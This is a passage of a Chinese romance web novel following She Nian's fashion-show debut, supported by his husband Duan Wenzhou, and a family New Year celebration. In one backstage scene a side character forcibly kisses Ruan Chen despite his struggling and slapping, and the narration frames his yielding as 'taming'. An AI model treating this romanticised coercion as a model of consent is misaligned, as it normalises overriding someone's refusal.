大掌牢牢地握住其肩膀,呈现出完全的守护架势,俨然不许他人觊觎。 从远处看去,小小一个的佘念整个都依偎在段闻洲的怀里。他的脑袋依靠在人的胸前,眯眼感受着对面传来的温热体温,觉得十分安心,忍不住蹭了蹭。 随后,一只大掌轻轻碰到了佘念的脸颊,然后温柔地将其抬起。 下一秒,亲吻落下。 是段闻洲俯身主动吻了上来,含住了佘念肉嘟嘟的唇.珠,肆意欺负。 “唔。” 乖得不像话的佘念既没有推开人,也没有抗拒,而是温驯地仰头,予取予求。 两人就这么面对面紧紧拥吻,不知是谁的心跳先溢出胸膛,又是谁紧随其后。 两颗心脏扑通、扑通,以相同的速度跳动着,虽然此时还没有心意相通,但距离已近在咫尺。 共鸣,或许即将完成,终有一天将共同抵达彼岸。 即使还没弄明白喜欢的含义,也没分清楚自己的感情,但佘念已经隐约意识到了一件事。 那就是,于自己而言,段闻洲是特别的存在。 除了他之外,谁也无法带给自己这样的感受。 难道,这种感情,就是喜欢吗? 被亲得晕晕乎乎时,佘念用不甚清醒的大脑思考着。 “专心点。” 直到嘴唇被人轻咬一口,他才懵懂地回了神,睁着一双湿润的眼珠望去。 却殊不知,这样水汪汪的眼睛,更会助长他人恶劣的欺负欲望。 于是,吻愈发凶猛了。 直到被亲得双腿发软,佘念才终于被放开。 如果不是被人搂住了腰的话,恐怕早就脱力滑坐在地上了。 “还好吗?” 偏偏当事人在结束后还格外温柔,富有磁性的男低音在耳边响起,叫他都生气不起来。 “你亲得好凶噢……” “那还想要每天一个亲亲吗?” “……要!” ———— 随着日子一天天过去,时装周秀场开始的日期也越来越近。 明天,就是秀场开幕的日子了。 “今晚早点休息,明天早上我送你过去。” 晚上时,段闻洲一边贴心地替人吹着头发,一边低声叮嘱道。 “嗯呐。” 坐在床边的佘念应了一声,脚丫子晃了晃,面上很是平静,看上去似乎并不紧张。 “好了,睡吧,时候不早了。” 见他没有临上场前的紧迫感,段闻洲也放下心来,揉了揉人蓬松的发顶后,就拉着人上床休息了。 直到察觉出枕边人辗转反侧,一直未入睡的动静,他才隐约意识到,自己好像想错了。 “佘念。” 黑暗中,他轻声喊道。 “诶,老公,你还没睡啊?” 陡然被喊到名字,身旁的翻来覆去的身影忽然一顿,然后僵硬地转过身来。 被当场抓获的佘念讪讪笑着看过来,脸上的笑容极其心虚。 ——他其实有点失眠,所以一直辗转反侧没有入睡,本来以为段闻洲已经睡着了,没想到被人当场抓了个现行。 “嗯,你睡不着吗?” 闻言,段闻洲低声问道。 “有一点,抱歉,我吵醒你了吗?” 他小声地道,有些内疚。 “没有,我只是刚好也睡不着。” 看着他脸上歉意的笑,段闻洲撒了一个善意的谎。 “发生了什么吗?怎么睡不着?” “我……其实,我有点紧张。” 见被发现,佘念也不再隐瞒,抿了抿唇,小声地说出了内心的顾虑。 一想到明天就是正式登台的日子,他就止不住紧张,心跳都加快了不少,忍不住胡思乱想。 ——担心自己会在正式秀场上会掉链子,会发挥失常,会辜负其他人的期待。 而睡前的他看似一脸平静,实际上已经是处于大脑宕机的状态,所以才会看上去波澜不惊。 “是在紧张明天的走秀吗?” 段闻洲柔声问,而在得到对面人点头的肯定答复后,他忽然伸出手,对人张开怀抱。 “那么,要抱一抱吗?” 见状,佘念的眼睛倏地睁大,亮晶晶的眸光在眼底闪动,比窗外的月光还灿烂。 于是他毫不犹豫地,从床的另一头咕涌过来,钻进了人的怀里。 感受到钻进怀中的柔软,段闻洲不由得弯了弯嘴角,收拢双臂将人整个抱在怀中,一只手还温柔地轻拍起佘念的后背,像安抚小孩似的给人顺着毛。 “既然睡不着,那要不要我给你唱一首摇篮曲?” 他开玩笑道。 第77章 “好啊。” 闻言, 佘念噗嗤一声笑了出来,却也没有拒绝,而是期待地仰头看了过来。 刚好, 都还没听过老公唱歌呢。 于是乎, 段闻洲清了清嗓子, 轻哼起温柔的歌谣。 低沉又富有磁性的嗓音,就像是月夜下旷野的风, 深林里叮咚作响的泉水,携着温柔的歌词缓缓淌过, 带给人甘霖一般的清爽。 不知起作用的,到底是这摇篮曲的温柔歌声, 还是轻抚后背大掌的力道, 亦或是共同作用的效果, 渐渐地, 佘念觉得内心的忧虑与紧张被驱散了。 “好听,谢谢老公。” 等人哼完歌后,他撒娇般地在人肩窝处轻轻蹭了蹭。 没想到老公唱歌也这么好听, 之前怎么没早一点听过呢? 感觉好像错过了一个亿。 “现在还紧张吗?” 得到夸奖, 段闻洲微微勾了勾嘴角。 “好多了。” 说着,佘念嘿嘿一笑, 很是满足。 “那现在能跟我说说, 在紧张什么吗?” “其实,我就是很担心明天会出错,万一没做好的话, 既辜负了阮晨前辈的期待,又影响了整个秀场的效果,要是还被人骂怎么办?” 设想了一下可能发生的意外, 他就感觉很郁闷,一边小声嘟囔,一边用手指在人的胸前画圈圈。 “就是在担心这些么?” 感受到皮肤处传来的痒意,段闻洲低头抓住人作乱的手,轻轻捏了捏。 “难道这些还不足够让人担心吗?” 抽不出来手,佘念抬头,撅嘴看向人。 看着他不服气的样子,段闻洲嘴角泄出一抹轻笑,然后抬起另一只手摸了摸人的头顶。 “那你在平常练习的时候,老师是怎么评价你的?” “老师说我很有天赋诶,每次走台步的时候她都夸我踩点能力很强。” 每次训练过程中,严格的老师都会表扬一两句,佘念眼珠子转了转,回想起来后忍不住嘿嘿笑了笑。 “你看,这就说明你的水平肯定是达到了舞台要求的,不然老师不会夸你。” “既然能力足够,那你只要正常发挥就好,甚至都不需要超常发挥,放平心态就能顺利完成任务。我说的对不对?” “唔,好像是的。” 听见分析,佘念嘟嘴琢磨了一番,觉得他说的好像有道理。 “然后我们再换位思考一下,假如你拜托阮晨去做某件事,要是他搞砸了,你会因此生气吗?” “当然不会。” 设想了一下,佘念就毫不犹豫地回答,把脑袋甩得跟个拨浪鼓似的。 “那就对了,既然你们是朋友,那你觉得阮晨会认为你对不起他,或者感到生气吗?” “唔……应该也是不会的。” 毕竟阮晨也是一个很好的人,肯定不会这样子的。 前两个顾虑轻易被人化解,佘念顿时觉得心里的压力少了许多。 “最后,你说害怕影响整个舞台的效果,怕被人骂。” 顿了顿,段闻洲抚摸着人头顶的手下移,转而挠了挠小朋友的下巴,像在逗弄小动物一样。 “你要想,舞台那么大,那么多模特,不会因为你一个人的失误而怎么样,但是你的成功会为其锦上添花。” “再说了,就算网上真有人骂你,我就花钱让人去给你买水军控评压评,反正钱够。” 说着,他眯了眯眼笑起来,开玩笑道。 “哈哈哈哈,真的吗,那谢谢老公——” 被人的笑话逗乐,佘念也哈哈大笑起来,焦虑不安的感觉瞬间烟消云散了,整个人轻松了不少。 于是他咧嘴露出一个灿烂的笑,亲昵地往人的怀里又钻了钻,开心地蹭了蹭。 “怎么样,现在还紧张吗?” 被他的笑容感染,段闻洲也弯了弯嘴角。 “不紧张了!” “那我们,就睡觉了?” “好!” 话虽这么说,但佘念却一点要松手的意思都没有,看起来打算就这么窝在人怀中睡了。 见状,段闻洲也没有把人推开,而是就着这个面对面拥抱的姿势,轻拍着他的后背,搂住了人,与其一块进入梦乡。 月色美好,风也温柔,卧室中的两人相拥而眠,静谧温柔。 一夜好眠。 ———— 次日伴随着升起的朝阳降临大地。 ——睁眼。 大床上的佘念眼睛倏地睁开,毫不拖泥带水,圆溜溜的眼珠清明,闪着光亮,一点迷糊的睡意都没有。 ——起身。 紧接着,他猛地坐起身来,兴奋地眨巴眨巴眼,满脸写着激动和期待。 因为今天就是他要登上秀场的日子了。 ——掀被。 只见他扭头看向睡在一旁的段闻洲,然后一把掀开了被子,喊人起床。 “老公,起床啦——” 小朋友元气满满的声音在屋内响起。 莫名被掀了被子的段闻洲:……? 还在状况外的他蒙圈地看了看时间,发现才刚刚到六点,还很早。 没记错的话,走秀好像是安排在晚上吧? 但对视上佘念那双亮闪闪的大眼睛,他便什么责备的话都说不出来了。 “好,这就起床。” 于是段闻洲哭笑不得地坐起身来,顺着人的话下了床。 由于要提前做造型候场,所以在家吃过早饭后,段闻洲就开车将佘念送去了秀场那边。 “那老公,我先进去啦。” “好,晚上开场时我再过来。” 和人道别后,佘念便进了后台化妆间,开始让化妆师给自己做造型。 “佘老师,您的饰品是用我们准备的,还是您自带了?” 听见化妆师这么问,佘念立刻拿出了于秋柳给自己准备的首饰。 “天呐,您确定要用这些吗?” 只一眼,化妆师就能认出这盒饰品的价值有多昂贵,下意识惊呼道,瞪大了眼。 “嗯,都是妈妈替我准备的,麻烦你啦。” 丝毫没有随时携带了几套房的自觉,一想到于秋柳对自己的关心,佘念就止不住弯了弯眼睛。 “对啦,请问可以搭配上这个胸针吗?” 忽然间想起了某件事,他连忙拿出了一枚祖母绿胸针。 ——那正是之前在拍卖会上,段闻洲拍下送他的那枚。 他想带上这个礼物一起登上舞台,如果不能直接佩戴在服装上的话,就打算将其放在胸前的口袋里。 不管怎样,都要带着它一起上舞台。 因为只要随身携带这枚胸针,就仿佛段闻洲也在陪在身边一样,自己也就有了更足的勇气。 “当然,我帮您别在胸前吧。” 恰好这胸针能够搭配今日的装扮,甚至可以说锦上添花,让这身深v休闲西装看上去更低调华贵。 化完妆后,化妆师就先离开,等到开场前再来做最后确认,佘念便独自留在化妆间里等候。 此时距离开场还有两个小时,他深呼吸一口气,努力使自己狂跳的心镇定下来。 “佘念——” 恰逢这时,化妆间的门被敲了敲,随即阮晨走了进来。 他的伤势还没完全好透,此时还吊着胳膊打着石膏。 当然,齐子修也寸步不离地跟在人身后。 “阮晨?你来啦?” 见熟人到来,佘念顿时放松了几分,脸上洋溢出灿烂的笑。 “嗯,我来后台看看你,怎么样,都已经准备好了吗?” “化完妆了,现在就候场等开始就好。” 仔细打量了一番人今天的扮相,阮晨满意地点点头,本想双手叉腰,但想起手打了石膏遂无奈作罢: “不错,这个风格也挺适合你的。” 今天的佘念,身上穿着的正是之前为阮晨准备的那套深v西装,好在两人身形相差不大,所以略加修改尺寸就能穿上。 不同于以往的发型,今天佘念的刘海被梳成了板正的三七分,脱离了少许稚气,多了几分成熟。 “咦,你这个耳环是自带的吗?” 目光捕捉到人耳垂上的流苏碎钻耳环,阮晨微微弯腰,讶异地问。 “对的,是我家里人借给我的。” “我没记错的话,这个好像是Kris设计师独家设计的吧,之前拍卖会上应该是两百万的价格被人带走的。” 段家唯一能借出这对耳环的,想必就是段闻洲的母亲了吧,会把这样贵重的饰品轻易借给佘念,显然是对其视如己出了。 “啊!这么贵吗?” 这下惊讶的轮到佘念了,震惊得头上的呆毛都竖了起来。 没想到段母也太大方了,想到这,他的心底暖洋洋的。 “当然,之前我想约这个设计师给我设计一款耳环,都没排上号呢。” “你喜欢?” 忽然,一直在旁边充当背景板的齐子修开口问道。 “当然,时尚界里谁不知道,谁不喜欢Kris啊。” “那我让人去联系一下。” 闻言,齐子修若有所思地点点头,打算想办法给人弄一套。 “你别给我乱花钱啊……唉算了随你吧。” 本来想拒绝的阮晨,不知道又想到了什么,叹了口气后作罢,随他去了。 看着两人的互动,佘念缓慢地眨了一下眼,隐约察觉到他们之间的气氛好似发生了变化。 在化妆间陪人聊了一会后,眼见快到开场时间了,阮晨便和齐子修现行离开,准备入场就坐了。 开场前,化妆师也回来了,重新给人补了一下妆。 做完最后的确认工作后,也就意味着开场时间进入倒计时。 听见工作人员的提醒后,佘念深呼吸,在心里默念放轻松,脑海里回想着昨晚段闻洲安慰的话语,然后跟随引导来到了候场区。 “闻洲,小念是第一个出场的是吧?” 而舞台下,今晚时装周秀场的观众皆已全部入场,段父段母,还有老爷子几人都专门来为佘念加油鼓劲。 “对的。” 段闻洲点点头,目光瞥了一眼入场口,像是在提前寻找某人的身影。 随着全场灯光的熄灭,舞台短暂地陷入了黑暗,紧接着,更亮眼炫目的光亮起,宣布今夜的秀场正式开幕。 伴随着开场音乐的响起,佘念登场,出现在了舞台上。 全场灯光霎时汇聚,照在他一个人的身上。 此时,他是场内唯一的焦点。 第78章 “来了来了, 是小念——” 见状,段家几人期待地昂起脑袋,目不转睛地盯着舞台。 背景音乐燃起, 佘念迈着稳健的步伐, 缓缓从舞台的最后方走来。 他的每一步都稳稳地踩在音乐的点上, 身姿挺立,从容不迫中透露着游刃有余。 灯光汇聚在他身上, 宛如撒下了一片亮光织就的披风,让人移不开视线。 而胸前的祖母绿胸针, 在灯光的辉映下闪烁着璀璨的光辉,就像是夜空中最亮的星, 即使在万千星河中也不逊色于任何恒星。 其实一登上舞台, 佘念就注意到了台下的家人。 之前他以为只有段闻洲会来, 可没想到除了阮晨外, 几位长辈也来了,坐在台下为自己加油打气。 他们可能对这场秀并不感兴趣,但为了佘念, 依然来了现场。 感受到熟悉的视线落在身上, 佘念突然觉得一点也不紧张了,只觉浑身都沐浴在温暖的洋流之中, 放轻松下来。 仿佛身后有温暖的大手在支撑, 给予自己无限力量。 于是,他迈出的每一步都变得更自信,嘴角洋溢着的笑也更灿烂。 因为他知道, 自己的背后永远有人在支持和鼓励。 不单单是段闻洲一人,还有其他关心爱护自己的家人,也有朋友。 即使没有血缘关系, 但他们依然会对自己嘘寒问暖,关怀备至,这种关心和从老公身上得到的不一样,是来自亲情和友情的温暖。 如果没有遇到段闻洲的话,大概自己也无法在人类社会立足,这样的温暖则更是无从谈起。 在走到舞台尽头时,佘念微微低头,正好与台下的家人们对上视线。 情不自禁的,他嘴角的笑意更甚,弯起的弧度加大,笑容明媚灿烂,像是有春风拂过,富有无限感染力。 而在视线转向段闻洲时,这份笑容则多了几分乖巧和甜味。 即使没有言说,但也知道这个笑是独独只为自己的,段闻洲眉眼柔和,随即也露出一个浅笑,回应着台上的人。 “小念这身打扮真好看。” “嗯,台步很稳,肯定是心态放好了。” “看来小念这孩子很适合这份工作啊。” 台下段家的几位长辈纷纷低声夸赞道。 属于佘念的走秀完美落幕,看着小朋友转身回后台的身影,段闻洲久久没有回神。 方才台上的佘念太过耀眼,自带明媚光芒,仿佛从天上降临人世间的天使。 不光是自己,在场的所有人都为之倾倒,为之惊呼。 而这些东西,本就是佘念早该拥有的。 他本就该金枝玉叶,体验世界上所有的美好与华贵; 他本就该万众瞩目,享受所有人的赞美与注视。 他本就该是万千宠爱的存在,一呼一吸间就能夺走别人的目光。 正如他在舞台上大放异彩的模样。 只是之前佘家的人愚昧无知,扼杀了他光辉灿烂的未来,使得明珠蒙尘。 而如今,曾经灰扑扑的小花苞,在精心的呵护和栽培下,终于绽放出了最绚丽的花朵,一举惊艳所有人。 看着佘念耀眼的模样,段闻洲不由得欣慰一笑。 ——看吧,这就是自己喜欢的佘念,不是什么灰扑扑的丑小鸭,而是世界上最美丽的白天鹅。 他想让全世界的人都知道,佘念是这般值得被爱,值得世间所有美好。 ———— 走完自己的部分下台后,佘念今天的工作便算是结束了。 坐在化妆镜前,他长出一口气,很庆幸自己成功没有出任何差错,完美完成任务。 就在他试着拆掉头顶的装饰,准备换衣服下班去跟家人见面时,化妆间的门再次被敲了敲。 “请进。” 这个时候了,还有谁会来吗?佘家的手还保持着弄头发的姿势,好奇地扭头看去。 在看清来人后,他的脸上立刻浮现出惊喜: “你怎么来啦?” 只见走进的,正是段闻洲。 “我来给我们的小模特庆功。” 他靠在门边,眯眼笑着,晃了晃手中的一大捧花。 “哇,这是送给我的吗?” 见状,佘念连妆都不卸了,噔噔噔地跑上前去,兴奋不已。 他额前的一个黑色细夹子,就这么吊在发尾,随着跑动步伐晃啊晃,不知道的还以为那是个专门的装饰品。 “对,送你的,祝贺你今晚顺利完成走秀。” 说着,段闻洲将花递到人手中。 这束花是他提早就预定了的,九十九朵的一捧玫瑰,娇艳欲滴,馥郁芬芳,绽放得格外热烈。 一如舞台上耀眼的某人。 “谢谢,我很喜欢!” 第一次收到人送的花时,自己还误解了含义,当时都没仔细体味,而现在重新又收到了花,也明白了意义,心境都不一样了,佘念嘴角的笑意完全止不住,心里泛起丝丝甜意。 他觉得,自己应该不单单是为收到花而高兴。 更重要的,应该是因为这束花是段闻洲送的,而非其他人。 “是在卸妆吗,要不要我帮你?” 拉着人重新在椅子上坐下,瞧见他额前吊着的发夹,段闻洲忍俊不禁,伸手替人取下。 “好呀。” 闻言,佘念高兴地眨了眨眼,然后将卸妆水等东西全部推到人跟前,仰起头期待地看过来,等着人动作。 被这幅乖巧的样子可爱到,段闻洲心底一软,拿起沾湿化妆水的化妆棉,仔细地为人卸掉脸上的妆。 即使隔着化妆棉,也依然能感受到糙砺指腹的温度,略显粗糙,在皮肤上摩擦时,牵连带起阵阵痒意。 为了确保能完全卸掉妆,段闻洲特意弯腰凑近了几分,仔细查看。 两人脸颊的距离极近,近得鼻尖已经碰上,并且能感受到彼此的呼吸。 偶然抬眼时,两人的视线在半空中遇上。 像是有电流在瞬间流窜过全身一样,两人相顾无言,但脸颊不约而同地泛起薄红。 不过即使如此,谁也没有先一步将目光移开。 “好、好像化妆间里有点热呢。” 没来由地热了起来,佘念咽了咽口水,用手扇了扇风,磕巴地道。 ——虽然化妆间里都没有开空调,甚至还打开了窗户,深冬的寒风灌进来,别说热了,简直是冷得冻脚。 “确实。” 而段闻洲喉结滚动,垂下眼眸,同样心不在焉地应道。 此时走廊外的化妆师站在门口,看着屋内的场景,内心十分慌乱: 我还能进去吗?感觉会变成电灯泡的样子怎么回事。 还需要我去卸妆吗?好像也不是很需要了的样子? ———— 由于时间太晚,老人家身体遭不住,所以段父段母便先一步带着老爷子回家,打算明天白天再为佘念庆祝。 于是在卸完妆后,段闻洲拉着佘念,而佘念捧着一大束花,两人走出化妆间,准备离开后台。 考虑到小朋友晚饭肯定没吃什么东西,所以段闻洲准备带人去吃夜宵。 “老公,我们喊上阮晨他们一起去吧?” “好啊。” 依稀记得刚刚在后台的这边看见了阮晨和齐子修,佘念嘟嘴琢磨着,拉着段闻洲不停地穿梭找人。 当来到一处无人的走廊时,他终于看见了阮晨和齐子修。 就在他准备走过去跟人打招呼时,眼尖的段闻洲先一步意识到了什么,立刻伸手将人揽了回来。 “嗯?” 茫然的佘念轻哼一声,发出询问。 而段闻洲则对人做了个噤声的动作,示意他不要出声看过去。 只见两人面对面站着,阮晨似乎有些生气,嘴里跟机关枪一样一直在说些什么,而他对面的齐子修则抿着唇,一言不发,任由他说着。 隔得太远,佘念听不清他们在说什么。 最后,阮晨又气又无奈地叹了口气,转身就要走。 但就在他离开的瞬间,齐子修猛地拽住了人的胳膊,将其抵在墙壁上,不由分说地吻了上去。 佘念:?? 这么劲爆的吗? 被强吻的起初,阮晨还在拼命挣扎,甚至还动手给了齐子修一记耳光,但男人却对此并不在意,稍稍后撤分开,紧接着又继续吻了上去。 最终,阮晨被吻得双眼失神,慢慢地闭上了眼,不再抗拒。 仿佛一只张牙舞爪的野猫,被驯化成了黏人的家猫,收起了利爪。 看着那吻得难舍难分的两人,佘念嘴巴都张成了夸张的O型。 “这、这——” 不是说阮晨和他老公感情不好吗,怎么这会又亲得这么热烈? “先别出声。” 见状,段闻洲捂住了他的嘴巴,先带着小电灯泡放轻脚步离开。 “刚刚,那、那是什么情况?” 来到另一处空旷无人的地方后,佘念再也压抑不住惊讶,震惊地问。 “或许,他们感情变好了吧。” 段闻洲摩挲着下巴,猜测道。 真让人感到奇怪,之前两人的关系还那么紧张,阮晨排斥,而齐子修不主动,眼下居然全部反转了? 越想越觉得好奇,佘念决定日后有机会再去好好问问人。 至于眼下么,当然不能喊人一起去吃夜宵了,还是自己去好啦。 不过由于临近年底,后来佘念和阮晨两人都忙碌起来,暂时也没找到时间去打探。 走秀的视频一经官方放出,便在网络上掀起了讨论的热潮。 特别是佘念开场的那段视频,更是成为热议的焦点。 所有人都在诧异,这位新人模特的台步和表现力居然如此成熟,颜值也是巅峰。 后来有眼尖的人认出,这个新人模特正是佘念,也就是和段氏联姻的那个佘家少爷。 于是乎,网上讨论的风向立刻发生转变: #貌美模特竟然是佘念# #段总你真的把老婆养得很好# #要很多很多的钱,也要好多好多的爱,论佘念过得有多好# 一时间,不少时装周的邀约如雪片般纷至沓来。 不过在和经纪人商量后,佘念婉拒了其中大部分邀请,打算事业方面还是继续以平面模特为主。 因为他知道在t台方面自己的风格很受限,而且走秀所耗费的精力远高于拍摄,反而会本末倒置,让爱好变得折磨。 对此,段闻洲也表示赞同。 他赞同倒没有其他原因,主要是觉得小朋友若是为了工作一直节食的话,对身体也不好。 渐渐地,寒风凛冽,年关将近。 时间来到了春节。 这是小蛇舌草来到人类社会后,度过的第一个春节。 第79章 “我们回来啦——” 伴随着门外佘念清脆的声音, 以及汽车驶入花园的响动,主宅内的几位长辈不用猜,都知道是谁回来了。 只见没过多久, 佘念就迈着欢快的脚步, 带着屋外的寒风还有满面笑容进了屋, 而跟在人身后的,则是拎着东西的段闻洲。 那高大的身影, 穿着黑色的风衣,还拿着大包小包, 不知道的还以为是保镖呢。 “回自己家还拿这么多东西。” 段老爷子佯装批评,但一看见两人到家, 脸上的笑意就止不住。 而佘念只是嘿嘿一笑, 转身去帮段闻洲放下各种礼盒。 今天是除夕, 一家人自然是要都团聚在主宅吃年夜饭的, 于是一到这天,段闻洲就带着佘念回了段氏主宅过年。 由于段氏早些年分过一次家,所以除了段风华这一支主脉, 其他的旁支都会分开过年, 不会在一起吃年夜饭,只有在年后这几天才互相拜年聚一聚。 这样倒也好, 省得面对各种不熟悉的七大姑八大姨亲戚, 落得自在。 有一家人在一起过年,虽然人数不算多,但偌大的别墅也并不冷清, 反而格外热闹,洋溢着节日氛围。 此时电视里正播放着新闻,喜庆的背景音乐应景极了, 与厨房里案板的声音交相辉映,共同谱写出独属于春节的乐章。 为了让佣人们也能回家过年,于秋柳给大家提前放了假,在他们打扫完屋子,备好了年夜饭的菜后,便给每人包了个大红包放假了。 所以,现在是段风华在厨房内为年夜饭做准备。 “爸,你在煮菜吗?” 好奇宝宝佘念被香味吸引,从厨房外探头打量,眨巴着眼问。 “小念,来了啊。” 听见他的声音,段风华扭头看来,他嘴里叼着一根没点燃的烟,身上围着围裙,不停翻动着锅铲。 俨然一副家庭主夫的打扮。 这幅画面,与他不苟言笑的性格反差有点大。 其实,段父煮得一手好菜,段母从来没下过厨房,而段闻洲也完全继承了父亲的厨艺天赋,每到需要做菜的时候,家里往往都是段父和段闻洲出手。 “爸,我来帮你。” 一边说,段闻洲一边挽起袖子,进厨房替父亲打下手。 见佘念在外面眼巴巴地望着,似乎也想帮忙,但又无从下手,他勾了勾唇,主动给人分发起任务: “要不你去客厅帮妈妈装果盘?” 闻言,领到任务的佘念眼睛倏地一下睁大,忙不迭地点头应道,然后嗖地一下就转身跑去找于秋柳了。 看着人小兔子一样活泼的身影,段闻洲哑然失笑。 于秋柳正好在把瓜果点心之类的装进果盘中,见佘念来给自己帮忙,便把身旁的位置给人腾出来。 两人一块坐在沙发上,装点着果盘。 甚至还一边吃,一边聊天,点评哪个糖果太甜,哪款坚果最好吃。 当段闻洲来到客厅时,一眼就看见了佘念手边那一摞被拆开的包装袋。 显然,小朋友已经利用“职务之便”吃得美滋滋了。 就连抬头迎上人的目光时,他都还在啃着新拆的饼干,脸颊两侧鼓囊囊的,像是一只仓鼠。 被人当场抓获,佘念心虚地快速眨眨眼,露出一个谄媚的笑: “老公,你吃不吃?” 说完,还把手中的半块饼干往前递了递,企图拉人下水。 瞧着那明显被咬过的痕迹,段闻洲哭笑不得,提醒人少吃一点,因为等会就快开饭了。 等忙完这边后,他便带人去贴春联。 闻言,佘念立刻站起身来,连零食都顾不上吃,兴冲冲地跟了过去。 ——他还没贴过春联呢! 家中的春联和福字都是段老爷子用毛笔亲手写的,大气磅礴,行云流水。 拿着火红的福字,佘念左边瞧瞧,右边看看,很是新鲜,他刚准备将其贴在大门的正中间,却被段闻洲喊停。 “福字要倒着贴才行。” 一边说,段闻洲一边上前,纠正他的动作,就着人的手顺势一转,让福字倒了过来。 “为什么?” “因为这样才寓意着福‘倒’了。” 居然还有这层意思,人类的习俗好有意思哇,头一次听说这种讲究的佘念暗暗记在了心底。 “但是,佘念……” “嗯?” “春联是不用倒着贴的。” 看着接下来小朋友上墙的春联也是倒着的,段闻洲欲言又止。 “为什么?刚刚不是说福字要倒着贴吗,为什么春联就不用?” 这下给佘念弄晕乎了,怎么一会要倒着贴,一会又不用呢? 春联倒过来,不是寓意着春到了吗? “呃,因为习俗就是这样的。” 这个问题我没法跟你解释,因为我也不是古人。 “总之,先这么贴着吧。” 放弃解释的段闻洲,索性直接拉着人的手,正着贴上了春联,算是完成任务。 “所以是为什么呢?” “……走,回屋吃零食去。” 事已至此,还是拿零食堵住小朋友的嘴好了。 屋内的福字、对联和窗花都被贴好,整个别墅内的节日气氛瞬间浓厚起来,目之所及之处尽是喜庆的红色。 “来小念,妈给你个好东西。” 等两人忙完后,于秋柳掩嘴笑着,在二楼对佘念招了招手,领着人进了房间。 “快看,好不好看——” 比两人先出房间的,是段母兴奋的声音。 闻言,段闻洲抬头向二楼看去。 只见佘念的身上换了一件红色毛衣,水貂绒材质的毛衣质地柔软,针脚细密但并不死板,一看就是手工织的。 不过袖子略有些长,垂下时遮住了大半手背。 但这样子看起来,反而更可爱。 毛衣的红色亮眼但不艳俗,衬托得佘念更加唇红齿白,仿佛一个洋娃娃一样。 洋娃娃本尊还扑闪着眼睛,期待地看过来,等着人的回答。 “好看。” 段闻洲弯了弯眼,如实回答。 “是吧,红色显气色,我特意选的这个颜色,就知道很适合小念。” 于秋柳看上去也满意极了。 “就是袖子稍微有点长。” “不长的,我喜欢。” 听见这话,佘念下意识抬起手,像只招财猫一样摇了摇手,表示不长。 越看越觉得可爱,段闻洲只觉心底一软,眼睛都快要弯成一个月牙了。 “妈妈,这个是你自己织的嘛?” 同样很喜欢这件毛衣,佘念不停地上下打量,满心欢喜。 “对的呀。” “哇真的吗,妈妈你好厉害,织这个难不难呀?” “不难的,你想不想学,想学的话到时候我教你?” “想学!” 约定好后,佘念哒哒哒地从楼上跑下来,兴高采烈地在段闻洲面前展示自己的新衣服。 “老公,我好喜欢这件毛衣——” “我也喜欢。” 被问到的段闻洲嘴角噙着笑意,眼中闪过晦暗不明的神色,抬手揉了揉他的脑袋。 毛衣和人,他都喜欢。 ———— “开饭了——” 时间来到傍晚,厨房内炖的汤咕噜噜冒着跑,随着段父的一声吆喝,年夜饭正式拉开帷幕。 见状,段闻洲上前端过砂锅,而佘念也像个小尾巴一样,跟着人进厨房端菜。 饭菜上桌后,众人也入座。 段老爷子自然是坐在主位,其余四人则两两分开坐在一边。 圆桌上摆放着精致的菜肴,肉鱼虾蟹,煎炸烹煮,每一道菜都色香味俱全,令人垂涎欲滴。 “好香啊,爸爸你的手艺好棒。” 闻着香味,佘念情不自禁地感慨道,毫不吝啬自己的夸赞。 “等会尝尝看合不合你的胃口。” 被如此直白地称赞,段父压了压止不住上翘的嘴角,轻咳一声,故作镇定地道。 “开饭前,先碰个杯。” 段老爷子呵呵笑道,率先举起手中的玻璃杯,示意大家碰杯。 “新年快乐,干杯——” 五个酒杯在半空中碰了碰,发出清脆叮当的响声。 其中四个里面都盛了红酒或白酒,唯一一个杯子与众不同,里面是橙汁。 ——毫无疑问,佘念喝的是果汁。 小朋友不可以喝酒,酒力不好的小朋友更是不能碰酒。 可以动筷后,佘念夹了一筷子肉,吃下时两眼放光,惊讶地感慨太好吃了。 “好吃那就多吃一点。” 看着他的吃相,几位长辈都面露慈祥的笑,不停地往其碗里夹菜。 这是佘念在人界和大家一起度过的第一个春节,其乐融融,和谐,洋溢着幸福。 他很喜欢这样热闹的氛围,是从前在深山老林里从未体会过的。 饭后,洗碗机工作着,众人都围坐在电视机前,一边聊天,一边守夜。 而佘念和段闻洲,则来到二楼的露台吹风,欣赏撩人夜色的烟花。 “吃得好撑——” 佘念伸了个大大的懒腰,摸了摸自己圆滚滚的肚子。 而对面的段闻洲还没来得及接话,远方烟花的声音便炸开。 烟花在夜空中绽放,五光十色的绚烂照亮了整片大地,被抢走了全部风头的繁星却并不嫉妒,而是甘愿沦为陪衬,为绚烂的烟火充当背景。 “好漂亮的烟花,不过好像没有上一次我们度蜜月的时候,在海边看到的那么惊艳。” 也不知是场地的原因,还是其他的缘故,佘念总觉得有几分不同,小声嘟囔着。 “下次有机会,我们再去海边。” 回想起两人当时在海边漫步的场景,段闻洲面色上浮现出柔和。 话音刚落,一阵惊天动地的鞭炮声忽然响起,接替了烟火迸裂的声响。 爆竹的声音刺耳热闹,比起烟火,倒更能让寂静的夜增添喧闹。 但这样的动静把佘念吓得不轻。 他一惊,险些原地蹦起,脸色煞白,紧急躲进了自认为最安全的地方。 ——那就是段闻洲的怀里。 “天、天塌了吗?” 只见佘念用段闻洲的大衣包裹住自己,整个人只露出一个圆溜溜的脑袋,一双眼珠子紧张地转着,害怕地问。 天没塌的话,怎么会有这么大的动静呢? 第80章 怀中陡然多了一大团毛绒绒, 正紧张地到处张望,嘴里还嘀咕着是不是天塌了,这幅可爱的样子实在叫段闻洲忍俊不禁。 他没有直接让人从怀里出来, 而是嘴角噙着笑意, 不仅把人抱得更紧, 还贴心地抬手捂住佘念的耳朵。 温热的大掌覆盖上耳朵,将外界喧闹的声音都隔绝开, 体温也透过接触的肌肤表面传来,捂热了佘念, 令他一颗扑通狂跳的心渐渐镇定下来,感到没有那么害怕了。 “天没有塌, 是在放鞭炮。” 等震天的声响停下后, 段闻洲才松开了手。 鞭炮? 听到陌生的词, 佘念茫然地眨了眨眼, 止不住在心里嘀咕,怎么鞭炮的声音比烟花恐怖那么多呢。 不知道的还以为什么爆炸了呢。 “还会再放鞭炮吗?” 虽然说现在听不见了,但我们谨慎的小蛇舌草还是不肯从大衣里出来, 仍然警惕地四处探头张望。 “应该不会了, 要是再放,我就替你捂着耳朵。” 闻言, 段闻洲笑了笑, 把怀里的人抱得更紧了些。 随着十二点钟声的敲响,更多数不清的烟花瞬间在天际绽放,夜晚的大地霎时被点亮成了白天。 “哇。” 